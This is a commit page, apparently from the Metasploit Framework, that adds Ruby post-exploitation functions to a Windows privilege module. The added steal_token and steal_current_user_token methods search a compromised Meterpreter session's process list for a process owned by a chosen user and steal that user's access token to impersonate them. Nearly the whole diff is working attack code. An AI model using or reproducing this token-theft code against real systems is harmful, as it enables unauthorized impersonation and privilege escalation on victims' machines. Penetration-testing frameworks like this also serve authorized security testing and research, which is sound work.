Skip to content

Commit 2a61450

Browse files
committed
Add new POST exploitation APIs for stealing a token
1 parent 3eb3c5a commit 2a61450

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed

lib/msf/core/post/windows/priv.rb

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,47 @@ def is_admin?
4343
end
4444
end
4545

46+
# Steals the current user's token.
47+
def steal_current_user_token
48+
steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
49+
end
50+
51+
#
52+
# Steals a token for a user.
53+
# @param String computer_name Computer name.
54+
# @param String username To token to steal from. If not set, it will try to steal
55+
# the current user's token.
56+
# @return [boolean] TrueClass if successful, otherwise FalseClass.
57+
# @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
58+
#
59+
def steal_token(computer_name, user_name)
60+
pid = nil
61+
62+
session.sys.process.processes.each do |p|
63+
if p['user'] == "#{computer_name}\\#{user_name}"
64+
pid = p['pid']
65+
end
66+
end
67+
68+
unless pid
69+
vprint_error("No PID found for #{user_name}")
70+
return false
71+
end
72+
73+
vprint_status("Stealing token from PID #{pid} for #{user_name}")
74+
75+
begin
76+
session.sys.config.steal_token(pid)
77+
rescue Rex::Post::Meterpreter::RequestError => e
78+
# It could raise an exception even when the token is successfully stolen,
79+
# so we will just log the exception and move on.
80+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
81+
end
82+
83+
true
84+
end
85+
86+
4687
#
4788
# Returns true if in the administrator group
4889
#

0 commit comments

Comments
 (0)